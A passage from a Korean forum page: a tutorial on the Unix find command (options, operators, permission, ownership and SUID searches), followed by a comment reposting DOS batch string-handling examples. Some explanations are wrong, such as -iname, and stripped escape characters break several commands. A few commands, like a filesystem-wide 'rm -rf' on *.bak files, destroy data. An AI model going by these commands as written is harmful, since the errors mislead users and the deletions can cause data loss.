변경됨 \r\n-m'xxxx' \r\n'xxxx'에 대한 Modify(수정), 파일내용 자체 수정한 경우 \r\n-i'xxxx' \r\n'xxxx'(inum 제외)에 대한 Insensitive(대소문자 구분없이)\r\n\r\n3-3. 자주 사용되는 표현식 옵션\r\n\r\nN \r\n정확하게 N과 일치 \r\n+N \r\nN 보다 큰 경우 \r\n-N \r\nN 보다 작은 경우 \r\n-name PATTERN \r\nPATTERN에 일치하는 파일 찾기, 와일드카드 문자 사용가능 \r\n-iname PATTERN \r\nPATTERN에 일치하지 않은(insensitive) 파일 찾기 \r\n-perm [+-]mode \r\nPERMission('mode')에 해당되는 파일 찾기, ls와 결합 가능 \r\n-type [bcdpfls] \r\nb(블럭파일(블럭 디바이스 파일 - 오리 -)), c(특정 문자(문자 디바이스 파일 - 오리 - ) ), d(디렉토리), p(파이프), f(정규표현 일반파일), l(링크), s(소켓) 유형의 파일 찾기\r\n\r\n* UNIX/LINUX에서는 어떤 디바이스나 I/O에 대한 입출력 Interface를 화일 입출력과 동일하게 처리한다. 블럭(512byte나 1024byte등의 일정 크기 단위)단위로 읽기/쓰기가 가능한 디바이스를 블럭 디바이스라 하고, byte(character) 단위로 읽기/쓰기가 가능한 디바이스를 문자( character) 디바이스라 한다. - 오리 -\r\n-size N[bckw] \r\n파일 크기가 N 인 파일 찾기 \r\nb(블럭-기본값, 보통 512byte), c(bytes), k(kbytes), w(2바이트 단어) \r\n * -size 0 : size가 0인 화일\r\n\r\n * -size 1 : size가 1~512인 화일\r\n\r\n * -size 2 : size가 513~1024인 화일\r\n\r\n * -size -2 : size가 512 이하인 화일\r\n\r\n * -size +2 : size가 1025 이상인 화일 -user NAME \r\nNAME은 유저이름이거나 UID \r\n-atime N \r\nN*24 시간 동안에 Access 한 파일\r\n\r\n * -atime 0 : 0 <= time < 24\r\n\r\n * -atime 1 : 24 <= time < 48\r\n\r\n * -atime 2 : 48 <= time <72\r\n\r\n * -atme -2 : time < 48\r\n\r\n * -atme +2 : time >= 72\r\n\r\n-ctime N \r\nN*24 시간 동안에 Changes 한 파일(내용수정이 아니고 읽기모드도 Changes됨) \r\n-mtime N \r\nN*24 시간 동안에 Modify 한 파일 \r\n-empty \r\n파일이 비어 있고(0 bytes), 정규식 파일이거나 디렉토리 \r\n-newer FILE \r\nFILE 보다 최근에 갱신된 파일 \r\n-path PATTERN \r\npath가 PATTERN과 일치하는 path에 대해서 검색 \r\n-regex PATTERN \r\n파일이름이 PATTERN에 일치하는 정규식에 대해서 검색 \r\n-inum N \r\ninode N을 갖는 파일 \r\n-nouser,-nogroup \r\nUSER나 GROUP에 이름이 없는 파일 검색(UID,GID만 있는 파일) \r\n-exec COMMAND \r\n검색된 파일을 찾으면 COMMAND 명령을 실행한다. \r\nCOMMAND 인자(검색된 파일)는 {}으로 사용하며, \r\n이때 COMMAND 끝은 ;(;이 아님)을 사용해야 한다. 즉 명령구분 \r\n문자인 ';'을 탈출()시켜줘야 한다. \r\n-ok COMMAND \r\n-exec COMMAND와 같지만 COMMAND를 실행하기 전에 확인을 요청한다.\r\n\r\n3-4. path(find 명령어 다음의 path) \r\n. \r\n현재 디렉토리(기본값이므로 생략해도 됨) \r\n`pwd` \r\n현재 디렉토리와 결합(?) `은 ~문자가 있는 자판 \r\n$(pwd) \r\n위의 `pwd`와 같거나 비슷함 \r\n/ \r\n최상위 루트 디렉토리에서 하위 모든 디렉토리 \r\n/home \r\n특정 /home 디렉토리에서 하위 모든 디렉토리 \r\n/{usr,home/{aaa,san2},var} \r\n/usr, /usr/home/aaa /usr/home/san2 /var\r\n\r\n3-5. 표현식-연산자\r\n\r\n( 표현식 ) \r\n'표현식'을 우선적으로 먼저 수행 \r\n(와 )앞에 를 넣어야 하며, '표현식'과 공백을 각각 둔다. \r\n( A + B ) * ( C + D ) 와 같이 (, )안을 우선적으로 수행 \r\n! 표현식 , -not 표현식 \r\n'표현식'을 부정 \r\n표현식1 -a 표현식2, 표현식1 -and 표현식2 \r\n표현식1과 표현식2의 AND 연산 \r\n표현식1 -o 표현식2, 표현식1 -or 표현식2 \r\n표현식1과 표현식2의 OR 연산\r\n\r\n\r\n3. 예제\r\n\r\n3-1. 다른 명령어와 결합 형태(ls,xargs)\r\n\r\n찾는 것 그 차체 만으로 만족(?) 할 수 도 있지만 그 결과에 대해서 \r\n어떤 행동(Actions)을 취할 필요가 있습니다.\r\n\r\n형태1. -exec 이용시\r\n\r\n# find ..... -exec COMMAND {} \;\r\n\r\n형태2. xargs 명령어로 표준 입력받아 COMMAND 수행\r\n\r\n# find ..... | xargs COMMAND\r\n\r\n형태3. ls 명령어로 최종 결과 출력\r\n\r\n# ls -l `find .....[COMMAND]` \r\n또는 \r\n# find .... ls \r\n(ls는 ls -dils와 같음)\r\n\r\nxargs \r\nxargs rpm 정보보기 \r\n# rpm -qi `rpm -qf $(which xargs)` \r\n또는 \r\n# rpm -qf `which xargs` | xargs rpm -qi\r\n\r\n즉, find 결과에 대해서,\r\n\r\n형태1은 -exec를 사용하여 그 인자를 {}로 사용하고,\r\n\r\n형태2는 xargs 명령어로 find에서 넘어온 결과(표준출력)에 대해서 COMMAND를 실행하고,\r\n\r\n형태3은 오른쪽의 find 결과물에 대해서 ls 명령어를 실행합니다. \r\n간혹 '/bin/ls Argument list too long'이라는 에러를 낸 경우도 있습니다. \r\n이는 검색조건에 너무 많은 와일드카드 문자로 찾을 경우에 그렇습니다. \r\n이를 테면 /*/*/*.*/.*,\r\n\r\n`은 ~문자가 있는 자판(역인용부호).\r\n\r\nls -l 명령어를 사용할 경우, 찾는 결과가 없다면 모두 출력됩니다. \r\n(ls -l와 같기 때문에) \r\nls 명령어와 마찬가지로 다른 명령어(chmod, chmod)를 결합하여 사용할 경우 그 찾는 \r\n결과가 없다면 명령어에 대한 에러를 내겠죠. \r\n(chmod 'null')과 같은 예..........\r\n\r\n# find /{home,usr/{src,local/src}} -nouser -o -nogroup -exec ls -l {} \; -print | more \r\n# find /{home,usr/{src,local/src}} -nouser -o -nogroup -print | xargs ls -l | more\r\n\r\n위의 2개의 명령어 대해서 직접 테스트 해보세요...\r\n\r\n전자의 경우, 아마 아무것도 출력되지 않을 겁니다.\r\n\r\n# find /{home,usr/{src,local/src}} ( -nouser -o -nogroup ) -exec ls -l {} \; -print | more\r\n\r\n위와 같이 해야 맞겠죠...(우선순위)\r\n\r\n후자의 경우도 마찬가지로 다음과 같이 우선순위를 정해놓아야 겠지요.. \r\n아마 원하는 출력이 이 경우일 것 같군요.\r\n\r\n# find /{home,usr/{src,local/src}} ( -nouser -o -nogroup ) -print | xargs ls -l | more\r\n\r\n\r\n3-2. 퍼미션 관련 예제\r\n\r\nothesrs에 쓰기(w:2) 권한이 있는 모든(-기호를 붙임) 파일 리스트를 찾을려면?\r\n\r\n# find `pwd` -perm -2 -print | xargs ls -l\r\n\r\n여기에서 2는 \r\n퍼미션이 -------w- 와 일치하는 파일이며 -의 의미는 rwx-중 하나.\r\n\r\n왜 2인가요? \r\n만약 퍼미션이 755 이라면,\r\n\r\n700 : rwx------ : user \r\n50 : ---r-x--- : group \r\n5 : ------r-x : others \r\n------------------------ \r\n755 : rwxr-xr-x : others는 읽기와 실행 권한\r\n\r\n따라서 others의 권한은 8진수로 5(r+x)이다.\r\n\r\n그렇다면, others가 쓰기(w:2) 권한은 당연히 -------w-\r\n\r\n그룹이나 others에게 쓰기 권한이 있는 파일일 경우\r\n\r\n-perm -20 -o -perm -2\r\n\r\n그룹과 others에게 모두 쓰기 권한이 있는 파일일 경우\r\n\r\n-perm -22\r\n\r\n[others에게 w 권한이 있는 파일에 w 권한 없애기]\r\n\r\n방법1) \r\n1. others에게 w 권한이 있는 파일 리스트 출력\r\n\r\n# find `pwd` -perm -2 -print | xargs ls -l | more \r\n(만약 매치되는 리스트가 없다면 전부 출력함)\r\n\r\n2. others에게 w 권한을 없애기\r\n\r\n# find `pwd` -perm -2 -print | xargs chmod o-w \r\n(만약 매치되는 리스트가 없다면 chmod에 에러를 냄)\r\n\r\n방법2) 방법1)의 과정을 한꺼번에 할 경우\r\n\r\n# find `pwd` -perm -2 -exec chmod o-w {} \; -print | xargs ls -l \r\n또는 \r\n# ls -l `find $(pwd) -perm -2 -print | xargs chmod o-rwx` | more\r\n\r\n이 경우는 퍼미션이 조정된 결과를 출력함.\r\n\r\n\r\n3-3. 유저와 관련된 예제\r\n\r\nUID와 GID에 대한 유저가 없는 파일을 root.root로 바꾸어 보죠.\r\n\r\n1) 먼저 리스트를 출력해 보자.(확인해야하니깐)\r\n\r\n# find . ( -nouser -o -nogroup ) -print | xargs ls -l | more\r\n\r\n2) 확인했으면, chown root.root 명령을 내리자.\r\n\r\n# find . ( -nouser -o -nogroup ) -print | xargs chown root.root | more \r\n또는 \r\n# find . ( -nouser -o -nogroup ) -exec chown root.root {} \; -print | xargs ls -l \r\n(chown root.root 의 결과를 ls -l)\r\n\r\n\r\n3-4. 유용한 팁\r\n\r\n*주의) *********************************************** \r\n-a'xxxx' \r\n'xxxx'에 대한 Access(접근), 읽기 \r\n-c'xxxx' \r\n'xxxx'에 대한 Changes(변경), 마지막으로 Access한 경우에도 변경됨 \r\n-m'xxxx' \r\n'xxxx'에 대한 Modify(수정), 파일내용 자체 수정한 경우 \r\n*****************************************************\r\n\r\n- 최근 하루(1) 동안(-)에 변경(change)된 파일을 찾을려면(-ctime)?\r\n\r\n# find / -ctime -1 -a -type f | xargs ls -l | more\r\n\r\n- 오래된 파일을 찾을려면(30일 이상 수정(modify))되지 않은)?\r\n\r\n# find / -mtime +30 -print | more\r\n\r\n- 최근 30일(30) 안에(-) 접근(access)하지 않은 파일과 디렉토리를 리스트로 만들려면(-atime)?\r\n\r\n# find / ! ( -atime -30 -a ( -type d -o -type f ) ) | xargs ls -l > not_access.list\r\n\r\n- 자신의 홈디렉토리에서 만 검색하려면?\r\n\r\n# find $HOM ... \r\n또는 \r\n# find ~root ...\r\n\r\n- 서브 디렉토리로 내려가지 않고 현재 디렉토리에서만 검색하려면?\r\n\r\n# find . -prune ...\r\n\r\n- 특정 유저(foobar) 소유의 파일을 찾을려면?\r\n\r\n# find / -user foobar -print | more\r\n\r\n- 퍼미션이 777인 파일을 찾을려면 ?\r\n\r\n# find / -perm 777 -print | xargs ls -l | more\r\n\r\n- others에게 쓰기 권한이 있는 파일을 찾을려면?\r\n\r\n# find / -perm -2 -print | xargs ls -l | more\r\n\r\n- others에게 쓰기 권한이 있는 파일을 찾아 쓰기 권한을 없애려면?\r\n\r\n# find / -perm -2 -print | xargs chmod o-w \r\n또는 \r\n# find / -perm -2 -exec chmod o-w {} ; -print | xargs ls -l | more\r\n\r\n- 유저이름과 그룹이름이 없는 파일을 찾을려면?\r\n\r\n# find / ( -nouser -o -nogroup ) -print | more\r\n\r\n- 빈 파일을 찾을려면?\r\n\r\n# find / -empty -print | more \r\n또는 \r\n# find / -size 0 -print | more\r\n\r\n- 파일크기가 100M 이상된 파일을 찾을려면?\r\n\r\n# find / -size +102400k -print | xargs ls -hl\r\n\r\n- *.bak 파일을 찾아 지울려면?\r\n\r\n# find / -name "*.bak" -exec rm -rf {} ;\r\n\r\n- *.bak 파일을 찾아 특정 디렉토리로 옮길려면?\r\n\r\n# mv `find . -name "*.bak"` /home/bak/\r\n\r\n- 디렉토리 만 찾을려면?\r\n\r\n# find . -type d ...\r\n\r\n- root권한으로 실행되는 파일을 찾을려면?\r\n\r\n# find / ( -user root -a -perm +4000 ) -print | xargs ls -l | more\r\n\r\n- 다른 파일시스템을 검색하지 않을려면?\r\n\r\n# find / -xdev ...\r\n\r\n- 파일이름에 공백이 들어간 파일을 찾을려면?\r\n\r\n# find / -name "* *" -print\r\n\r\n- 숨겨진(hidden) 파일을 찾을려면?\r\n\r\n# find / -name ".*" -print | more\r\n\r\n- 같은 이름을 가진 디렉토리를 찾을려면?\r\n\r\n# find / -type d -print | awk -F/ '{printf("%st%sn",$NF,$0);}' | sort| more \r\n*주)'O'Reilly Unix Power Tools' 참고\r\n\r\n- 잘못된 링크를 찾을려면?\r\n\r\n# find . -type l -print | perl -nle '-e || print' | xargs ls -l \r\n*주)'O'Reilly Unix Power Tools' 참고\r\n\r\n3. 현재 디렉토리 아래에서 첫글자가 영어 대문자인 모든 파일 검색\r\n\r\n # find . -name '[A-Z]*'\r\n\r\n \r\n\r\n4. 현재 디렉토리 아래에서 'worldtop'이라는 사용자 소유의 파일을 찾을 경우\r\n\r\n # find . -user worldtop\r\n\r\n \r\n\r\n5. 자신의 홈 디렉토리에서 최근 3일 동안 변경된 파일을 찾을 경우\r\n\r\n # find ~ -mtime -3\r\n\r\n \r\n\r\n6. suid와 guid가 설정된 파일을 찾아서 권한 확인(cracker의 침입이 의심스러운 경우)\r\n\r\n # find / -perm +6000\r\n\r\n # find / -type f -perm +6000 -ls\r\n\r\n \r\n\r\n7. 문자열 찾기 - 영어만 주로 가능 \r\n # grep -rw 찾는문자열 ./
![profile_image](https://11q.kr:443/www/data/member_image/ss/ss1145.gif?1588261899)
11q.kr관리자님의 댓글
![](https://11q.kr:443/www/data/member/ss/ss1145.gif?1479800520)
http://blog.daum.net/inpl/264\r\n================\r\n영어로 되어 있지만 예제가 있어 어렵지 않게 해석 가능\r\n \r\nAlign Right - Align text to the right i.e. to improve readability of number columns\r\n\r\nDescription: Add leading spaces to a string to make sure the output lines up. I.e. for variables no longer than 8 characters add 8 spaces at the front and then show only the last 8 characters of the variable.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\n5.\r\n6.\r\nset x=3000\r\nset y=2\r\nset x= %x%\r\nset y= %y%\r\necho.X=%x:~-8%\r\necho.Y=%y:~-8%\r\nScript Output: \r\n DOS Script Output\r\nX= 3000\r\nY= 2\r\nTOP\r\n2008-01-01\r\nLeft String - Extract characters from the beginning of a string\r\n\r\nDescription: Similar to the Left function in VB a batch script can return a specified number of characters from the left side of a string by specifying a substring for an expansion given a position of 0 and a length using :~ while expanding a variable content. The example shows how to return the first 4 characters of a string.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=politic\r\necho.%str%\r\nset str=%str:~0,4%\r\necho.%str%\r\nScript Output: \r\n DOS Script Output\r\npolitic\r\npoli\r\nTOP\r\n2008-01-01\r\nMap and Lookup - Use Key-Value pair list to lookup and translate values\r\n\r\nDescription: This example shows an approach to map a name of a month into it`s corresponding two digit number. The key-value pairs are listed in the map variable separated by semicolon. Key and value itself are separated by one dash character. Same can be used to tranlate a day-of-the-week short string into a day-of-the-week long string by changing the map content only.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\n5.\r\n6.\r\n7.\r\n8.\r\n9.\r\n10.\r\n11.\r\n12.\r\n13.\r\n14.\r\n15.\r\n16.\r\n17.\r\n18.\r\nREM ---- Example 1: Translate name of month into two digit number ----\r\nSET v=Mai\r\n\r\nSET map=Jan-01;Feb-02;Mar-03;Apr-04;Mai-05;Jun-06;Jul-07;Aug-08;Sep-09;Oct-10;Nov-11;Dec-12\r\nCALL SET v=%%map:*%v%-=%%\r\nSET v=%v:;=&rem.%\r\n\r\nECHO.%v%\r\n\r\n\r\nREM ---- Example 2: Translate abbreviation into full string ----\r\nSET v=sun\r\n\r\nset map=mon-Monday;tue-Tuesday;wed-Wednesday;thu-Thursday;fri-Friday;sat-Saturday;sun-Sunday\r\nCALL SET v=%%map:*%v%-=%%\r\nSET v=%v:;=&rem.%\r\n\r\n ECHO.%v%\r\nScript Output: \r\n DOS Script Output\r\n05\r\n Sunday\r\nTOP\r\n2008-01-01\r\nMid String - Extract a Substring by Position\r\n\r\nDescription: Similar to the Mid function in VB a batch script can return a specified number of characters from any position inside a string by specifying a substring for an expansion given a position and length using :~ while expanding a variable content. The example here shows how to extract the parts of a date.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\n5.\r\necho.Date : %date%\r\necho.Weekday: %date:~0,3%\r\necho.Month : %date:~4,2%\r\necho.Day : %date:~7,2%\r\necho.Year : %date:~10,4%\r\nScript Output: \r\n DOS Script Output\r\nDate : Sat 03/11/2006\r\nWeekday: Sat\r\nMonth : 03\r\nDay : 11\r\nYear : 2006\r\nTOP\r\n2008-01-01\r\nRemove - Remove a substring using string substitution\r\n\r\nDescription: The string substitution feature can also be used to remove a substring from another string. The example shown here removes all occurrences of "the " from the string variable str.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=the cat in the hat\r\necho.%str%\r\nset str=%str:the =%\r\necho.%str%\r\nScript Output: \r\n DOS Script Output\r\nthe cat in the hat\r\ncat in hat\r\nTOP\r\n2008-01-01\r\nRemove both Ends - Remove the first and the last character of a string\r\n\r\nDescription: Using :~1,-1 within a variable expansion will remove the first and last character of the string.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=politic\r\necho.%str%\r\nset str=%str:~1,-1%\r\necho.%str%\r\nScript Output: \r\n DOS Script Output\r\npolitic\r\noliti\r\nTOP\r\n2008-01-01\r\nRemove Spaces - Remove all spaces in a string via substitution\r\n\r\nDescription: This script snippet can be used to remove all spaces from a string.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str= word &rem\r\necho."%str%"\r\nset str=%str: =%\r\necho."%str%"\r\nScript Output: \r\n DOS Script Output\r\n" word "\r\n"word"\r\nTOP\r\n2008-01-01\r\nReplace - Replace a substring using string substitution\r\n\r\nDescription: To replace a substring with another string use the string substitution feature. The example shown here replaces all occurrences "teh" misspellings with "the" in the string variable str.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=teh cat in teh hat\r\necho.%str%\r\nset str=%str:teh=the%\r\necho.%str%\r\nScript Output: \r\n DOS Script Output\r\nteh cat in teh hat\r\nthe cat in the hat\r\nTOP\r\n2008-01-01\r\nRight String - Extract characters from the end of a string\r\n\r\nDescription: Similar to the Right function in VB a batch script can return a specified number of characters from the right side of a string by specifying a substring for an expansion given a negative position using :~ while expanding a variable content. The example shows how to return the last 4 characters of a string.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=politic\r\necho.%str%\r\nset str=%str:~-4%\r\necho.%str%\r\nScript Output: \r\n DOS Script Output\r\npolitic\r\nitic\r\nTOP\r\n2008-01-01\r\nSplit String - Split a String, Extract Substrings by Delimiters\r\n\r\nDescription: Use the FOR command to split a string into parts. The example shows how to split a date variable into its parts.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\n5.\r\n6.\r\n7.\r\n8.\r\n9.\r\n10.\r\n11.\r\n12.\r\necho.-- Split off the first date token, i.e. day of the week\r\nfor /f %%a in ("%date%") do set d=%%a\r\necho.Date : %date%\r\necho.d : %d%\r\necho.\r\n\r\necho.-- Split the date into weekday, month, day, and year, using slash and space as delimiters\r\nfor /f "tokens=1,2,3,4 delims=/ " %%a in ("%date%") do set wday=%%a&set month=%%b&set day=%%c&set year=%%d\r\necho.Weekday: %wday%\r\necho.Month : %month%\r\necho.Day : %day%\r\necho.Year : %year%\r\nScript Output: \r\n DOS Script Output\r\n-- Split off the first date token, i.e. day of the week\r\nDate : Thu 12/02/2005\r\nd : Thu\r\n\r\n-- Split the date into weekday, month, day, and year, using slash and space as delimiters\r\nWeekday: Thu\r\nMonth : 12\r\nDay : 02\r\nYear : 2005\r\nTOP\r\n2008-02-26\r\nString Concatenation - Add one string to another string\r\n\r\nDescription: This example shows how to add two strings in DOS.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\n5.\r\n6.\r\n7.\r\n8.\r\n9.\r\n10.\r\nset "str1=Hello"\r\n set "str2=World"\r\n\r\n set "str3=%str1%%str2%"\r\n set "str4=%str1% %str2%"\r\n set "str1=%str1% DOS %str2%"\r\n\r\n echo.%str3%\r\n echo.%str4%\r\n echo.%str1%\r\nScript Output: \r\n DOS Script Output\r\nHelloWorld\r\n Hello World\r\n Hello DOS World\r\nTOP\r\n2008-04-28\r\nTrim Left - Trim spaces from the beginning of a string via "FOR" command\r\n\r\nDescription: Use the FOR command to trim spaces at the beginning of a variable. In this example the variable to be trimmed is str.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str= 15 Leading spaces to truncate\r\necho."%str%"\r\nfor /f "tokens=* delims= " %%a in ("%str%") do set str=%%a\r\necho."%str%"\r\nScript Output: \r\n DOS Script Output\r\n" 15 Leading spaces to truncate"\r\n"15 Leading spaces to truncate"\r\nTOP\r\n2008-01-01\r\nTrim Quotes - Remove surrounding quotes via FOR command\r\n\r\nDescription: The FOR command can be used to safely remove quotes surrounding a string. If the string does not have quotes then it will remain unchanged.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str="cmd politic"\r\necho.%str%\r\nfor /f "useback tokens=*" %%a in ('%str%') do set str=%%~a\r\necho.%str%\r\nScript Output: \r\n DOS Script Output\r\n"cmd politic"\r\ncmd politic\r\nTOP\r\n2008-01-01\r\nTrim Right - Trim spaces from the end of a string via "FOR" command\r\n\r\nDescription: Trimming spaces at the end of a variable seems a little tricky. The following example shows how to use a FOR loop to trim up to 31 spaces from the end of a string. It assumes that Delayed Expansion is enabled.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=15 Trailing Spaces to truncate &rem\r\necho."%str%"\r\nfor /l %%a in (1,1,31) do if "!str:~-1!"==" " set str=!str:~0,-1!\r\necho."%str%"\r\nScript Output: \r\n DOS Script Output\r\n"15 Trailing Spaces to truncate "\r\n"15 Trailing Spaces to truncate"\r\nTOP\r\n2008-01-01\r\nTrim Right - Trim spaces from the end of a string via substitution\r\n\r\nDescription: Trimming spaces at the end of a variable seems a little tricky. The following example shows how to use the string substitution feature to trim up to 31 spaces from the end of a string. It assumes that the string to be trimmed never contains two hash "##" characters in a row.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\n5.\r\n6.\r\n7.\r\n8.\r\n9.\r\n10.\r\nset str=15 Trailing Spaces to truncate &rem\r\necho."%str%"\r\nset str=%str%##\r\nset str=%str: ##=##%\r\nset str=%str: ##=##%\r\nset str=%str: ##=##%\r\nset str=%str: ##=##%\r\nset str=%str: ##=##%\r\nset str=%str:##=%\r\necho."%str%"\r\nScript Output: \r\n DOS Script Output\r\n"15 Trailing Spaces to truncate "\r\n"15 Trailing Spaces to truncate"
![profile_image](https://11q.kr:443/www/img/no_profile.gif)
♥간단_메모글♥
-
등록일 04.15가입 인사드립니다.댓글 4
-
등록일 04.09가입인사.댓글 3
-
등록일 03.03안녕하세여댓글 1
-
등록일 02.13
최근글
-
등록일 08.19
새댓글
-
등록자 진초롱이 등록일 05:39
-
등록자 진초롱이 등록일 05:37
-
등록자 11qkr 등록일 08.19
-
등록자 진초롱이 등록일 08.19
-
등록자 진초롱이 등록일 08.19
오늘의 홈 현황
QR코드
☞ QR코드 스캔은 kakao앱 자체 QR코드